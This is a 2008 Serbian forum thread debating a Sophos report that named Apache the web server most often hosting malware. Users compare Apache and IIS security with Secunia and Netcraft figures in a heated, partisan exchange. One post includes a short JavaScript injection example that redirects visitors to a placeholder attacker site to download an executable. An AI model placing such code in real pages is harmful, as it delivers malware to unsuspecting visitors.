Srodne teme

08.05.2001. forbiden 403
21.09.2001. apache problem
07.09.2002. Apache
23.08.2003. Upload fajlova i privilegije - problem
06.09.2003. Instalacija Apachea
19.09.2009. Apache + PHP
06.01.2004. apache-1.3.27-rupa
27.02.2004. PHP ne može da otvori include fajl pa ne mogu da..
17.06.2004. Apache 2 problemi
15.07.2004. Problemi sa dcp portalom ?

Navigacija

Brisanje liste

Lista poslednjih: 16, 32, 64, 128 poruka.

Apache najugrozeniji

[es] :: Advocacy :: Apache najugrozeniji

[ Pregleda: 3761 | Odgovora: 19 ] > FB > Twit

Autor

Stefan Markic

Član broj: 82674
Poruke: 759
*.dynamic.sbb.rs.

+73 Profil

Apache najugrozeniji

^{12.05.2008. u 16:18 - pre 206 meseci}

Britanska kompanija Sophos objavila je izvestaj o distribuciji zlonamernog koda tokom 2007. Izvestaj je otkrio da maliciozni kod nije vise vezan samo za Microsoftova resenja jer su se sajber-kriminalci masovno usmeravali na racunare kompanije Apple i web servere Apache.

Sophosovi eksperti su otkrivali 6000 zarazenih web stranica svakog dana ili 14 po jednoj sekundi. Otprilike samo jedan od pet ovakvih sajtova je bio hakerska lokacija sa malicioznim sadrzajem. S druge strane, 83% stanica pripalo je kompanijama i privatnim licima koji nisu bili svesni da su njihove lokacije hakovane i zloupotrebljene. Na taj nacin bila je ugrozena reputacija mnogih kompanija. Najvise zloupotrebljavani web sajtovi pripadali su umetnickim galerijama, agencijama za poslovnu pratnju, religioznim organizacijama, web adresama za iznajmljivanje turistickih apartmana.

Velika promena koja je nastala u 2007. godini jeste povecanje pretnji kreiranih za Mac racunare. U novembru, Mac OS X malware je bio izuzetno zastupljen. Funkcionalnost malicioznog programa, OSX/RSPlug, je konstruisana veoma jednostavno. On modifikuje podesavanja tako da preusmerava DNS zahtev na server koji je pod hakerovom kontrolom. Ti sajtovi su uglavnom zahtevali username i sifru ili su prezentovali neki od reklamnih programa. OSX/RSPlug je povezan sa siroko rasprostranjenom familijom Windows malware-a, koji “obecava” prikaz pornografskog materijala prilikom preuzimanja kodeka.

Krajem 2007. strucnjaci SophosLabs-a su napravili pregled inficiranih web servera sirom sveta. Detaljnije su ispitali preko 50000 servera sa ciljem da otkriju koji je operativni sistem je na njima bio u upotrebi. Dobijeni rezultati su ukazali da je u prvoj polovini 2007. preko 50% zlonamernog koda pronadjeno na Apache serverima, a oko 40% na Microsoft Iis serverima. Veliki broj Apache servera se nalazi na masinama na kojima su Linux ili UNIX, jer mnogi administratori smatraju ovakve sisteme manje osetljivim na napade.

Tipovi web servera na sajtovima koji su hostovali samo malware

Prema izvestajima dobijenim iz Sophosove laboratorije, preko polovine web-baziranih pretnji se odnosilo na Mal/Iframe. Ovaj malware je svoj vrh dostigao u aprilu i junu protekle godine. Vecim delom je bio smesten na web-sajtovima hostovanim u Kini, ali uoceno je i njegovo “gostovanje” sirom cele planete. U junu je Mal/Iframe inficirao vise od 10000 legitimnih web sajtova hostovanih u Italijim ukljucujuci i one koji pripadaju oficijelnim institucijama kao sto su sajtovi gradskih veca za zaposljavanje. Vecina zarazenih sajtova je bila hostovana od strane najveceg provajdera u Italiji.

Izvor:
Internet Ogledalo

_{[Ovu poruku je menjao BrokeBody dana 12.05.2008. u 18:41 GMT+1]}

Odgovor na temu

degojs

Član broj: 4716
Poruke: 5096

+51 Profil

Re: Apache najugrozeniji

^{12.05.2008. u 17:12 - pre 206 meseci}

Stvar je da su i jedan i drugi (Apace i IIS) ipak bezbedni serveri ako ih namesti i odrzava neko ko ima bar osrednje znanje. Ako neko pacerise.. well..

Slicno kao kad Linuxovac sedne za Windows.. pa krene da pacerise - glumi hakera tako sto pokrece crack.exe i slicno, stalno neki warez, pa onda kad popije virus, onda mu Windows kriv.

Zanimljivije bi bilo imati statistiku o ljudima koji odrzavaju te servere i slicno. Ovako je, bar meni, to besmisleno. Dobro da nisu napravili statistiku koje maticne ploce su u tim serverima, pa onda zakljucili da su ove ili one maticne ploce jako nesigurne :D

Commercial-Free !!!

Odgovor na temu

dr ZiDoo
Banja Luka

Član broj: 189
Poruke: 1728
79.143.164.*

Jabber: ZiDoo@elitesecurity.org
ICQ: 299539598
Sajt: zidoo.geek.rs.ba

Profil

Re: Apache najugrozeniji

^{12.05.2008. u 17:12 - pre 206 meseci}

Inficirani web server je web server koji kroz neku stranicu distribuira SEE_NAKED_BRITNEY_SPEARS.EXE?

Ovaj naslov nema veze sa tekstom.

tu nema kašike....

Odgovor na temu

Ivan Dimkovic

Administrator
Član broj: 13
Poruke: 16753
*.dip.t-dialin.net.

+7204 Profil

Re: Apache najugrozeniji

^{12.05.2008. u 17:36 - pre 206 meseci}

Sve cifre upucuju da su busni sajtovi uglavnom na Apache serverima, a takodje cifre govore i da Apache proizvodi imaju generalno vise ranjivosti + imaju vise nepatchovanih ranjivosti.

Evo dokaza:

http://secunia.com/product/73

Citat:

Apache 2.0.x
Vendor Apache Software Foundation
Affected By 37 Secunia advisories
Unpatched 11% (4 of 37 Secunia advisories)

http://secunia.com/product/9633/

Citat:

Apache 2.2.x
Vendor Apache Software Foundation
Affected By 7 Secunia advisories
Unpatched 29% (2 of 7 Secunia advisories)

http://secunia.com/product/1438

Citat:

IIS 6
Vendor Microsoft
Affected By 5 Secunia advisories
Unpatched 0% (0 of 5 Secunia advisories)

http://secunia.com/product/17543/

Citat:

IIS 7
Vendor Microsoft
Affected By 1 Secunia advisories
Unpatched 0% (0 of 1 Secunia advisories)

http://security.itworld.com/4772/070907websecurity/page_1.html

Citat:

Over the last month, I've decided to track every reported Web site exploitation or malicious Web server host. With more than 3,000 data points, the number of reported malicious or compromised Apache Web sites is running 17 to 1. But it's not just my own data; take any random sampling from Zone-H's hacked Web site monitor statistics and you'll see a huge skew toward Apache servers versus IIS. Normal statistics show that somewhere around 80 to 90 percent of all malicious Web sites originate from an Apache server.

Citat:

Paul Laudanski of CastleCops fame collected supporting statistics from his own Phishing Incident Reporting and Termination Squad database for me. He said, "For PIRT reports above 500,000 (without checking their phish status): IIS = 1,302 reports, Apache = 20,104 reports. For all PIRT reports w/o confirming status: IIS = 16,744, Apache = 181,724. There are of course other Web servers I haven't checked for." That works out to be about 6 to 8 percent for IIS and 92 to 94 percent for Apache.

DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey

Odgovor na temu

windows_zakon
nista

Član broj: 97723
Poruke: 27
*.hostxtremdns.com.

Profil

Re: Apache najugrozeniji

^{12.05.2008. u 22:05 - pre 206 meseci}

Da, samo sto:

- Apache servera ima vise nego IIS-a.
- Preko tih propusta (koji su, btw rejtovani kao "Less" t.j. prijetnja je minimalna, efekat je minimalan cak i kad bi se neko potrudio da izgubi vrijeme na to, ne moze da mjenja content sajtova. Inace web server nema tu puno sta, ako se "difejsuju i sl." sajtovi, onda je to preko php-a, ili nekog drugog interpretera, a ne preko web servera. Niti vise mozes dobiti roota/nobody-a nit ista, bar ne zadnjih ~ 3-4 godine.
- Ovakvi pateticni pokusaji i obmane firmi poput Sophosa izgleda su samo pokusaji opradavanja svog postojanja i podizanje reputacije. U fazonu, vidi sta smo MI objavili.
- A da je u pitanju neki 0-day ili tako nesto(ponovo nista od roota), ta Apachova negativna statistika bi poprilicno uznemirila OS community, i sigurno vise ne bi bio 0day, vec bi bilo objavljeno i patchovano. Takav propust.
- Isto bih napisao i da je IIS na vrhu, umjesto Apacha, ili bilo koji drugi Web server.

Odgovor na temu

Sir_Oliver
Milan Jovanovic
Beograd RS / Aurora IL

Član broj: 2557
Poruke: 353

Sajt: www.novarepublika.com

+17 Profil

Re: Apache najugrozeniji

^{13.05.2008. u 00:11 - pre 206 meseci}

Citaj sledece: "Britanska kompanija Sophos objavila je izvestaj o distribuciji zlonamernog koda tokom 2007". Kljucne reci "distribucija malware-a". Pa bilo koji web server moze da distribuira malware. Konkretan primer: bsdforums.org, ovaj nekada koristan BSD user community je postao igraliste za prevarante koji se bave soliciting-om, pornografijom, distribucijom virusa i spamovanjem. A sve to zbog lenjosti administratora. Ako mene pitate, to je uticaj ljudskog faktora, a ne propust u softveru (odnosno web serveru). Ovakvih primera ima koliko hocete. Kao sto rece windows_zakon, ovim izvestajem su hteli sebe da izbace u prvi plan.
@Dimkovic pre neki dan u nekom postu si rekao (da parafraziram druga Tita) da se ne treba drzati Secunia-e kao pijan plota. Sta ti bi sada? Neki put Secunia vazi, a nekad ne vazi.

Pozz

Odgovor na temu

Ivan Dimkovic

Administrator
Član broj: 13
Poruke: 16753
193.47.77.*

+7204 Profil

Re: Apache najugrozeniji

^{13.05.2008. u 09:42 - pre 206 meseci}

Citat:

Sir_Oliver
@Dimkovic pre neki dan u nekom postu si rekao (da parafraziram druga Tita) da se ne treba drzati Secunia-e kao pijan plota. Sta ti bi sada? Neki put Secunia vazi, a nekad ne vazi.

Ne, nisam to rekao... Dobices pionirsku maramu za doktorat iz zamene teza :-)

Fakat jeste da Apache:

a) Ima vise ranjivosti od IIS-a
b) Ima vise otkrivenih ranjivosti od IIS-a

A nije tacno da ima ogromnu vecinu u market-share-u (videti dole).

To ne znaci da je IIS "sigurniji" od Apache-a (videti dole, opet) - ali govori o tome koji je softver vise odrzavan i servisiran... sto nekako ne ide u prilog tezi o "prednosti FLOSS softvera u brzini patchovanja".

Citat:

- Apache servera ima vise nego IIS-a.

Ne bi se reklo da ga ima znacajno vise nego IIS-a:

http://news.netcraft.com/archives/web_server_survey.html

Apache: 50.6%
IIS: 35.4%

Ako ovo opravdava fakat da je vecina malware-a na Apache serverima-u, a to ne kaze samo Sophos vec i gomila drugih izvora, medju kojima sam linkovao neke... Onda dobro... Jos je sad to i "obmana", zanimljivo kako su Linxuasi krenuli u osporavanje statistike u poslednje vreme i nazivanje iste obmanom ;-)

Ne znaci ovaj podatak uopste da je Apache losiji web server od IIS-a - daleko od toga, ali pokazuje koliko je tacna pingvinska pesmica o sigurnosti LAMP-a - ocigledno Linux wannabee admini i nisu bas tako sposobni kao sto sebe izdaju, a pogotovu ne stoji prica o nesigurnom Win Server + IIS resenju ;-)

Ovi podaci pokazuju pre svega da je masa LAMP setupa golo g**** sto se sigurnosti tice, a da je IIS environment ocigledno jako siguran, cim sa svojih 35% trzisnog udela ima manje od 10% malware-infested sajtova.

To pre svega govori o potpunoj neopravdanosti nazivanja nekog sistema "sigurnim" i "nesigurnim" - ocigledno je da je sigurnost pre svega stvar administratora, a "secure by design" svakako ne stoji za mnoge LAMP sajtove ;-)

DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey

Odgovor na temu

buda01
Beograd

Član broj: 24949
Poruke: 293
*.rcub.bg.ac.yu.

+16 Profil

Re: Apache najugrozeniji

^{13.05.2008. u 09:51 - pre 206 meseci}

Je l da skidam apache sa servera?

Gde da skinem cenovnik za IIS i jel ima neki popust?

Odgovor na temu

windows_zakon
nista

Član broj: 97723
Poruke: 27
*.broadband.blic.net.

Profil

Re: Apache najugrozeniji

^{13.05.2008. u 11:07 - pre 206 meseci}

Citat:

Fakat jeste da Apache:

a) Ima vise ranjivosti od IIS-a
b) Ima vise otkrivenih ranjivosti od IIS-a

A i b su povezani, pa:
a,b) Ima ih vise, jer je Open Source. I ne moze da se nadje neki jadni propust a da ne bude objavljen. Mislim, ne mozemo znati, ali nesto mi govori da i IIS ima puno takvih glupih propusta, koji su rejtovani kao "less" i niko ih ne popravlja, jer u sustini i kad bi "exploitovo" takav servis, nista pametno ne bi dobio. Vecina su "teoretski Denial of Service" ili sl.

Citat:

To ne znaci da je IIS "sigurniji" od Apache-a (videti dole, opet) - ali govori o tome koji je softver vise odrzavan i servisiran... sto nekako ne ide u prilog tezi o "prednosti FLOSS softvera u brzini patchovanja".

Ja koliko sam primjeto, svaki critical bug je patchovan u najkracem mogucem periodu... kad saznam za propust, vec ima i patch/workaround, jer rilis istih ne zavisi od vendora, kako je to slucaj kod MS-a ili bilo kojeg drugog !OS vendora.

Citat:

Ako ovo opravdava fakat da je vecina malware-a na Apache serverima-u, a to ne kaze samo Sophos vec i gomila drugih izvora, medju kojima sam linkovao neke... Onda dobro... Jos je sad to i "obmana", zanimljivo kako su Linxuasi krenuli u osporavanje statistike u poslednje vreme i nazivanje iste obmanom ;-)

Ne znaci ovaj podatak uopste da je Apache losiji web server od IIS-a - daleko od toga, ali pokazuje koliko je tacna pingvinska pesmica o sigurnosti LAMP-a - ocigledno Linux wannabee admini i nisu bas tako sposobni kao sto sebe izdaju, a pogotovu ne stoji prica o nesigurnom Win Server + IIS resenju ;-)

Ovi podaci pokazuju pre svega da je masa LAMP setupa golo g**** sto se sigurnosti tice, a da je IIS environment ocigledno jako siguran, cim sa svojih 35% trzisnog udela ima manje od 10% malware-infested sajtova.

To pre svega govori o potpunoj neopravdanosti nazivanja nekog sistema "sigurnim" i "nesigurnim" - ocigledno je da je sigurnost pre svega stvar administratora, a "secure by design" svakako ne stoji za mnoge LAMP sajtove ;-)

Ne obmana u smislu da blate OS, vec obmana u smislu da sebe izdizu, jer to sto su napisali je BS... a i dod'o sam, da je IIS umjesto Apacha, isto bi vazilo.
To (ako) sto Apache ima koliko-vec % malware sajtova, ne znaci da je propust (i nije) u apachu, pa su tako "zarazeni", to sam reko jos u proslom postu.

Citat:

Je l da skidam apache sa servera?

Gde da skinem cenovnik za IIS i jel ima neki popust?

Motika brale, motika.

Odgovor na temu

buda01
Beograd

Član broj: 24949
Poruke: 293
*.rcub.bg.ac.yu.

+16 Profil

Re: Apache najugrozeniji

^{13.05.2008. u 11:21 - pre 206 meseci}

Bolje lopata, ima manje security propusta.

Odgovor na temu

dr ZiDoo
Banja Luka

Član broj: 189
Poruke: 1728
*.broadband.blic.net.

Jabber: ZiDoo@elitesecurity.org
ICQ: 299539598
Sajt: zidoo.geek.rs.ba

Profil

Re: Apache najugrozeniji

^{13.05.2008. u 13:23 - pre 206 meseci}

Jos malo pa cemo u pricu o web serverima morati da uvrstimo i lighttpd posto ga ljudi korste sve vise i vise...

tu nema kašike....

Odgovor na temu

Sir_Oliver
Milan Jovanovic
Beograd RS / Aurora IL

Član broj: 2557
Poruke: 353

Sajt: www.novarepublika.com

+17 Profil

Re: Apache najugrozeniji

^{13.05.2008. u 14:42 - pre 206 meseci}

Citat:

Ivan Dimkovic: Ne, nisam to rekao... Dobices pionirsku maramu za doktorat iz zamene teza

Nije valjda da ces mi ustupiti jednu od svojih? Sreca, sreca, radost!

Odgovor na temu

Ivan Dimkovic

Administrator
Član broj: 13
Poruke: 16753
193.47.77.*

+7204 Profil

Re: Apache najugrozeniji

^{13.05.2008. u 14:44 - pre 206 meseci}

Nisam bas poklonik komunizma, za razliku od softverskih komunista koji to pokazuju iz dana u dan ;-)

U svakom slucaju, cestitka za potpuno pogresnu interpretaciju moje poruke o Secunia-i, za maramu za tebe se ipak mora pronaci neko drugo resenje.

Cifre nedvosmisleno pokazuju da su LAMP resenja najzaduzenija za inficirane web sajtove, bas kao sto je Windows najzaduzeniji za inficirane racunare.

Znam da je Linuxasima tesko da prihvate tu 'bolnu' cinjenicu, ali jebga... mora se nekako ici dalje.

DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey

Odgovor na temu

windows_zakon
nista

Član broj: 97723
Poruke: 27
*.broadband.blic.net.

Profil

Re: Apache najugrozeniji

^{14.05.2008. u 07:54 - pre 206 meseci}

Ma ovo je ***ote najnebuloznije nesto ikad... cuj, Apache hostuje najvise malware sajtova na netu.... vrhunac gluposti i debilizma.

Ponovo cu ja, kakve veze ima Apache server sa difejsovanjem ili bilo kojem drugom nazivu za "tejkoverovanje" sajtova i postavljanje malware-a ?
Zadnja verzija preko koje se to moglo raditi je 1.2 neka stara 7 godina il kolko vec.

To se radi preko gresaka u PHP kodu ili neceg drugog, a ne Apache-a.

Da je cinjenica, ne bi bilo tesko prihvatiti, s obzirom da su gluposti, sto bi prihvatio.. bilo ko, osim Windows fanatika koji jedva cekaju FUD-ove razne, trollovanje i ostalo usmjereno ka Linuxu i Open Sorsu.
Isto kao MS sto troluje i radi sve negativno sto moze da uradi da bi potkopo Linux i OS. Vidi se da vam je Ballmer choban.

Odgovor na temu

Ivan Dimkovic

Administrator
Član broj: 13
Poruke: 16753
*.web.vodafone.de.

+7204 Profil

Re: Apache najugrozeniji

^{14.05.2008. u 09:06 - pre 206 meseci}

Hahaha - pa kakve veze ima Windows sa debilima koji otvaraju "SEE_MY_NAKED_ASS.EXE" ? :)

Poenta je u stvari u necemu drugom - kada cujete nekog Linux admin-wannabee-a o tome kako je LAMP "secure by design", oterajte ga u 3 lepe - ili mu pokazite ovu statistiku. To samo pokazuje koliko je IT trziste zatrovano priucenom radnom snagom koja ostavlja busne sajtove.

Naravno da Apache nema direktne veze sa sajtovima koji su hakovani (osim sto ih hostuje) - ali to puno govori o nekim stavovima nekih ljudi ;-) Windows+IIS, koga ce svaki pingvin da nazove "nesigurnim" ima ocigledno mnogo bolji security track-record od OSS aplikacija.

Citat:

Vidi se da vam je Ballmer choban.

Balmer jeste cobancina, to je hard fact - bas kao sto je hard fact da je vecina inficiranih web sajtova nije na IIS-u, vec na Apache-u ;-)

DigiCortex (ex. SpikeFun) - Cortical Neural Network Simulator:
http://www.digicortex.net/node/1 Videos: http://www.digicortex.net/node/17 Gallery: http://www.digicortex.net/node/25
PowerMonkey - Redyce CPU Power Waste and gain performance! - https://github.com/psyq321/PowerMonkey

Odgovor na temu

windows_zakon
nista

Član broj: 97723
Poruke: 27
*.broadband.blic.net.

Profil

Re: Apache najugrozeniji

^{14.05.2008. u 09:58 - pre 206 meseci}

Citat:

Poenta je u stvari u necemu drugom - kada cujete nekog Linux admin-wannabee-a o tome kako je LAMP "secure by design", oterajte ga u 3 lepe - ili mu pokazite ovu statistiku. To samo pokazuje koliko je IT trziste zatrovano priucenom radnom snagom koja ostavlja busne sajtove.

P je krucijelan u tom...
Inache, u pravu si kad kazes da je IT trziste zatrovano priucenom radnom snagom, ali to prolazi u dosta firmi. Jer priucena radna snaga, obicno je jeftinija, a danas svi traze nesto jeftino.

Sve to stoji i sve je to ok sto ti pricas, ali od Sophosa je glupo da na ovaj nacin predstave svoja istrazivanja... u fazonu "Apache saks" i glupo je kad neko ovde napise isto to. To ne moze proci.

Citat:

Naravno da Apache nema direktne veze sa sajtovima koji su hakovani (osim sto ih hostuje) - ali to puno govori o nekim stavovima nekih ljudi ;-) Windows+IIS, koga ce svaki pingvin da nazove "nesigurnim" ima ocigledno mnogo bolji security track-record od OSS aplikacija.

Generalno, za greske programera ne mozes okriviti LAMP platformu. I nemoguce je imati platformu koja ce biti "secure" u svim okolnostima.. (tipa ako programer napravi bug u kodu).
To nema veze sa platformom, vec sa programerom... to sto ima vise malwarea na lampu, samo ima veze sa PHP programerima, ne sa platformom.

Odgovor na temu

dr ZiDoo
Banja Luka

Član broj: 189
Poruke: 1728
*.broadband.blic.net.

Jabber: ZiDoo@elitesecurity.org
ICQ: 299539598
Sajt: zidoo.geek.rs.ba

Profil

Re: Apache najugrozeniji

^{14.05.2008. u 12:14 - pre 206 meseci}

windiws_zakon je htijo da kaze da je greska uvjek u programeru! Bice da je on admin :))

Nego ljud da meni neko oce objasniti sta je to inficiran sajt? Jel to kad neko pravi user-generate-content site pa zaboravi da iskljuci HTML tagove i neko stavi:

Code:

<script type="javascript">
window.onload = function()
{
window.location = 'http://mojHakerskiSajt.com/gole_sise.exe';
}
</script>

I za boga miloga kakve to ima veze sa web serverom? Posledica ovog debilnog istrazivanja je samo veca zastupljenost Apacha. A autor teksta je toliki mulac da je mogao da napise u tom slucaju i da je Linux najzarazeniji web sistem?!!(WTF) ili da je PHP rupa u odnosu na Javu ili Python(!?)

tu nema kašike....

Odgovor na temu

vukasin0
Vukasin Nikodijevic
Beograd

Član broj: 15203
Poruke: 94
85.222.218.*

+1 Profil

Re: Apache najugrozeniji

^{10.06.2008. u 13:20 - pre 205 meseci}

Cao

Necu da ulazim u to sta je bolje i sigurnije (ja licno vise verujem svemu sto nije microsoft - linux zauvek) ali cime bi jos mogao da iskeniram moj apache web server - probao sam sa nessus-om i cini mi se da je OK.

Pozdrav!!

Odgovor na temu

Srđan Pavlović
Specijalna Edukacija i Rehabilitacija MNRO
Vojvodina, Bačka Palanka

Član broj: 139340
Poruke: 5571
93.86.29.*

Sajt: www.oligofrenolog.com

+382 Profil

Re: Apache najugrozeniji

^{11.06.2008. u 21:28 - pre 205 meseci}

gajger-milerovim brojacem ;)

Odgovor na temu

Silencer
Mitrović Stevan
Smederevo

Član broj: 399
Poruke: 480
80.93.249.*

ICQ: 76958890

+72 Profil

Re: Apache najugrozeniji

^{12.06.2008. u 08:22 - pre 205 meseci}

Samo cu da kazem da ovo jeste jedna velika istina, i da je skroz moguce....

Odgovor na temu

[es] :: Advocacy :: Apache najugrozeniji

[ Pregleda: 3761 | Odgovora: 19 ] > FB > Twit

Srodne teme

20.12.2005. Da li moze unload/load apache modula bez restarta..
04.04.2006. apache server za qnx
13.06.2006. Apache Primary/Secondary server -=POMOC=-
22.09.2006. Ne radi mi Apache!!!!
12.10.2006. Upgrade sa apache 1 na apache 2?
14.11.2006. Apache : Location: URL is not absolute
14.06.2007. "Virtual directory" u apache-u 2 ... he..
23.06.2007. Problem Apache + PHP5
06.08.2007. BCB 6 i apache 2.2 hotfix/patch/bilo sta ...

Navigacija

Lista poslednjih: 16, 32, 64, 128 poruka.